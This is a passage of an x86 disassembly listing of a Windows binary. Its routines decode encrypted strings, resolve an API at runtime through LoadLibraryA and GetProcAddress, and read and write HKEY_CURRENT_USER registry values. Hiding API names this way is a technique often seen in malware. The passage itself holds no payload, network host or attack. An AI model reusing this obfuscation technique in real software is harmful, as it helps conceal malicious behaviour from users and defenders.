		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_425FC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263D6	proc near		; CODE XREF: sub_422C48+209p
		mov	eax, offset loc_432394
		call	sub_43176A	; _EH_prolog
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp-18h]
		mov	[ebp-10h], esp
		push	16h
		push	offset a31a144bf9e8020 ; "31A144BF9E80200C66C764"
		mov	edi, ecx
		push	eax
		call	sub_42309C
		push	dword ptr [eax]
		call	dword_4330DC	; LoadLibraryA
		lea	ecx, [ebp-18h]
		mov	[ebp-14h], eax
		call	sub_431642
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_426478
		push	1Ch
		lea	eax, [ebp-1Ch]
		push	offset a11a144bf9ef66a ; "11A144BF9EF66A4761DE7C0307B1"
		push	eax
		mov	ecx, edi
		call	sub_42309C
		push	dword ptr [eax]
		push	dword ptr [ebp-14h]
		call	dword_433060	; GetProcAddress
		lea	ecx, [ebp-1Ch]
		mov	ebx, eax
		call	sub_431642
		test	ebx, ebx
		jz	short loc_42646F
		mov	esi, dword_4330E0
		push	28h
		call	esi	; Sleep
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset aSei	; "sei \n"
		call	sub_43162A
		mov	ecx, edi
		call	sub_424AD9
		push	2Ch
		call	esi	; Sleep
		and	dword ptr [ebp-4], 0
		mov	eax, eax
		push	dword ptr [ebp+8]
		call	ebx	; atoi


loc_42646F:				; CODE XREF: sub_4263D6+67j
					; DATA XREF: sub_42648Bo
		push	dword ptr [ebp-14h]
		call	dword_433054	; FreeLibrary


loc_426478:				; CODE XREF: sub_4263D6+3Cj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4263D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42648B	proc near		; DATA XREF: HLXc:004356F4o
		mov	eax, offset loc_42646F
		retn
sub_42648B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426491	proc near		; CODE XREF: sub_424AE5+3FEp
					; sub_424AE5+416p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	dword_433078	; lstrcatA
		retn	8
sub_426491	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264A2	proc near		; CODE XREF: sub_42342D+69p
					; sub_42342D+BD4p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_4264AE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_4264AE:				; CODE XREF: sub_4264A2+4j
		retn
sub_4264A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264AF	proc near		; CODE XREF: sub_42342D+61p
					; sub_42342D+BC9p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		cmp	edi, eax
		jz	short loc_4264D3
		test	eax, eax
		mov	[esi], eax
		jz	short loc_4264C9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_4264C9:				; CODE XREF: sub_4264AF+12j
		test	edi, edi
		jz	short loc_4264D3
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_4264D3:				; CODE XREF: sub_4264AF+Cj
					; sub_4264AF+1Cj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264DA	proc near		; CODE XREF: sub_42342D+77p
					; sub_42342D+47Ap ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4264EE
		push	80004003h
		call	sub_431952


loc_4264EE:				; CODE XREF: sub_4264DA+8j
		xor	eax, eax
		cmp	[esi], eax
		pop	esi
		setz	al
		retn	4
sub_4264DA	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4323A9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	ecx, [ebp-10h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+10h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+14h], 0
		push	offset dword_439CA8
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_43163C
		mov	edx, [ebp-10h]
		mov	dword ptr [edx], 80000001h
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+18h], 0
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+1Ch], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426584	proc near		; CODE XREF: sub_42342D+3B6p
					; sub_424AE5+267p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426584
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	[ebp+var_18], ecx
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_18]
		call	sub_4281D0
		mov	byte ptr [ebp+var_4], 1
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax+10h], 0
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_8]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_C]
		mov	[edx], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx+18h], 0
		push	offset asc_437534 ; "\\"
		lea	ecx, [ebp+arg_0]
		call	sub_431696
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_431666
		push	eax
		lea	edx, [ebp+var_10]
		push	edx
		lea	ecx, [ebp+arg_0]
		call	sub_431660
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_20], eax
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 0Ch
		call	sub_431648
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_10]
		call	sub_431642
		push	offset asc_437538 ; "\\"
		mov	ecx, [ebp+var_18]
		add	ecx, 0Ch
		call	sub_431690
		lea	ecx, [ebp+arg_0]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_431666
		sub	esi, eax
		push	esi
		lea	edx, [ebp+var_14]
		push	edx
		lea	ecx, [ebp+arg_0]
		call	sub_43168A
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_28], eax
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	sub_431648
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_14]
		call	sub_431642
		push	offset asc_43753C ; "\\"
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	sub_431696
		push	offset asc_437540 ; "\\"
		mov	ecx, [ebp+var_18]
		add	ecx, 8
		call	sub_431690
		mov	ecx, [ebp+var_18]
		call	sub_4266E9
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_431642
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_426584	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266D6	proc near		; CODE XREF: sub_42342D+3D7p
					; sub_424AE5+6ACp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_428230
		mov	esp, ebp
		pop	ebp
		retn
sub_4266D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266E9	proc near		; CODE XREF: sub_426584+12Ap
					; sub_426816+24p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_426785
		mov	[ebp+var_4], 4
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_C]
		add	ecx, 10h
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		push	0
		mov	ecx, [ebp+var_C]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_426770
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+18h], 1
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		jmp	short loc_42678B
; ---------------------------------------------------------------------------


loc_426770:				; CODE XREF: sub_4266E9+66j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_C]
		mov	eax, [edx+14h]
		jmp	short loc_42678B
; ---------------------------------------------------------------------------


loc_426785:				; CODE XREF: sub_4266E9+31j
		mov	eax, [ebp+var_C]
		mov	eax, [eax+14h]


loc_42678B:				; CODE XREF: sub_4266E9+85j
					; sub_4266E9+9Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4266E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42678F	proc near		; CODE XREF: sub_426843+2Cp

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CAC
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_4267D1
		jmp	short loc_426812
; ---------------------------------------------------------------------------


loc_4267D1:				; CODE XREF: sub_42678F+3Ej
		push	4
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		push	ecx
		push	4
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_426805
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+18h], 1


loc_426805:				; CODE XREF: sub_42678F+6Aj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey


loc_426812:				; CODE XREF: sub_42678F+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_42678F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426816	proc near		; CODE XREF: sub_424AE5+276p
					; sub_4255E6+98p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_426837
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	short loc_426837
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		jmp	short loc_42683F
; ---------------------------------------------------------------------------


loc_426837:				; CODE XREF: sub_426816+Ej
					; sub_426816+17j
		mov	ecx, [ebp+var_4]
		call	sub_4266E9


loc_42683F:				; CODE XREF: sub_426816+1Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_426816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426843	proc near		; CODE XREF: sub_42342D+3C8p
					; sub_4255E6+D5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+10h]
		jnz	short loc_426863
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_426863
		mov	eax, [ebp+var_4]
		jmp	short loc_426877
; ---------------------------------------------------------------------------


loc_426863:				; CODE XREF: sub_426843+10j
					; sub_426843+19j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		mov	ecx, [ebp+var_4]
		call	sub_42678F
		mov	eax, [ebp+var_4]


loc_426877:				; CODE XREF: sub_426843+1Ej
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426843	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432402
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	ecx, [ebp-10h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_43164E
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		call	sub_43164E
		mov	byte ptr [ebp-4], 2
		push	offset dword_439CB0
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_43163C
		push	offset dword_439CB4
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		call	sub_43163C
		push	offset dword_439CB8
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_43163C
		mov	eax, [ebp-10h]
		mov	dword ptr [eax], 80000001h
		mov	ecx, [ebp-10h]
		mov	dword ptr [ecx+18h], 0
		mov	edx, [ebp-10h]
		mov	dword ptr [edx+1Ch], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42692B	proc near		; CODE XREF: sub_42342D+175p
					; sub_42342D+296p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42692B
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	esi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_4], 1
		mov	ecx, [ebp+var_1C]
		call	sub_4281D0
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_1C]
		add	ecx, 10h
		call	sub_43164E
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_1C]
		add	ecx, 14h
		call	sub_43164E
		mov	byte ptr [ebp+var_4], 4
		push	offset dword_439CBC
		mov	ecx, [ebp+var_1C]
		add	ecx, 10h
		call	sub_43163C
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 14h
		call	sub_431648
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_8]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_1C]
		mov	dword ptr [edx+18h], 0
		push	offset asc_437544 ; "\\"
		lea	ecx, [ebp+arg_0]
		call	sub_431696
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_431666
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_431660
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	byte ptr [ebp+var_4], 5
		mov	edx, [ebp+var_24]
		push	edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 0Ch
		call	sub_431648
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_10]
		call	sub_431642
		push	offset asc_437548 ; "\\"
		mov	ecx, [ebp+var_1C]
		add	ecx, 0Ch
		call	sub_431690
		lea	ecx, [ebp+arg_0]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+arg_0]
		call	sub_431666
		sub	esi, eax
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_43168A
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	byte ptr [ebp+var_4], 6
		mov	edx, [ebp+var_2C]
		push	edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 8
		call	sub_431648
		mov	byte ptr [ebp+var_4], 4
		lea	ecx, [ebp+var_14]
		call	sub_431642
		push	offset asc_43754C ; "\\"
		mov	ecx, [ebp+var_1C]
		add	ecx, 8
		call	sub_431696
		push	offset asc_437550 ; "\\"
		mov	ecx, [ebp+var_1C]
		add	ecx, 8
		call	sub_431690
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_1C]
		call	sub_426B19
		lea	ecx, [ebp+var_18]
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+arg_0]
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_4]
		call	sub_431642
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_42692B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426ABF	proc near		; CODE XREF: sub_42342D+1A5p
					; sub_42342D+2C6p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426ABF
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 1
		mov	ecx, [ebp+var_10]
		add	ecx, 14h
		call	sub_431642
		mov	byte ptr [ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 10h
		call	sub_431642
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_428230
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_426ABF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B19	proc near		; CODE XREF: sub_42692B+158p
					; sub_426D5C+45p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426B19
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], 0
		mov	eax, [ebp+var_30]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_30]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_426C98
		mov	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		lea	ecx, [ebp+var_18]
		push	ecx
		push	0
		mov	ecx, [ebp+var_30]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_30]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		push	0
		mov	ecx, [ebp+var_30]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_30]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	loc_426C5C
		mov	edx, [ebp+var_14]
		push	edx
		lea	ecx, [ebp+var_20]
		call	sub_43162A
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_38]
		push	ecx
		mov	ecx, [ebp+var_30]
		add	ecx, 10h
		call	sub_431648
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_20]
		call	sub_431642
		mov	edx, [ebp+var_14]
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_43161E
		add	esp, 4
		mov	ecx, [ebp+var_30]
		mov	dword ptr [ecx+18h], 1
		mov	edx, [ebp+var_30]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey
		mov	ecx, [ebp+var_30]
		add	ecx, 10h
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_431636
		mov	edx, [ebp+var_2C]
		or	edx, 1
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_426CB3
; ---------------------------------------------------------------------------


loc_426C5C:				; CODE XREF: sub_426B19+BDj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_43161E
		add	esp, 4
		mov	edx, [ebp+var_30]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey
		mov	ecx, [ebp+var_30]
		add	ecx, 14h
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_431636
		mov	edx, [ebp+var_2C]
		or	edx, 1
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_426CB3
; ---------------------------------------------------------------------------


loc_426C98:				; CODE XREF: sub_426B19+4Dj
		mov	eax, [ebp+var_30]
		add	eax, 14h
		push	eax
		mov	ecx, [ebp+arg_0]
		call	sub_431636
		mov	ecx, [ebp+var_2C]
		or	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+arg_0]


loc_426CB3:				; CODE XREF: sub_426B19+141j
					; sub_426B19+17Dj
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426B19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426CC3	proc near		; CODE XREF: sub_426DB8+73p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CC0
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_426D05
		jmp	short loc_426D58
; ---------------------------------------------------------------------------


loc_426D05:				; CODE XREF: sub_426CC3+3Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		call	sub_428280
		add	eax, 1
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		call	sub_4226A0
		push	eax
		push	1
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_426D4B
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+18h], 1


loc_426D4B:				; CODE XREF: sub_426CC3+7Cj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey


loc_426D58:				; CODE XREF: sub_426CC3+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_426CC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D5C	proc near		; CODE XREF: sub_424AE5+3BEp
					; sub_424AE5+516p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_426D9A
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	short loc_426D9A
		mov	edx, [ebp+var_8]
		add	edx, 10h
		push	edx
		mov	ecx, [ebp+arg_0]
		call	sub_431636
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_426DB2
; ---------------------------------------------------------------------------


loc_426D9A:				; CODE XREF: sub_426D5C+17j
					; sub_426D5C+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_8]
		call	sub_426B19
		mov	edx, [ebp+var_4]
		or	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]


loc_426DB2:				; CODE XREF: sub_426D5C+3Cj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426D5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426DB8	proc near		; CODE XREF: sub_42342D+196p
					; sub_42342D+2B7p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_426DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp+var_18], ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_18]
		add	eax, 10h
		push	eax
		lea	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4282C0
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_426E19
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_426E19
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_431642
		mov	eax, [ebp+var_10]
		jmp	short loc_426E48
; ---------------------------------------------------------------------------


loc_426E19:				; CODE XREF: sub_426DB8+3Cj
					; sub_426DB8+45j
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_18]
		add	ecx, 10h
		call	sub_431648
		mov	ecx, [ebp+var_18]
		call	sub_426CC3
		mov	edx, [ebp+var_18]
		mov	[ebp+var_14], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_431642
		mov	eax, [ebp+var_14]


loc_426E48:				; CODE XREF: sub_426DB8+5Fj
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_426DB8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4324A9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 24h
		mov	[ebp-30h], ecx
		mov	ecx, [ebp-30h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-30h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-30h]
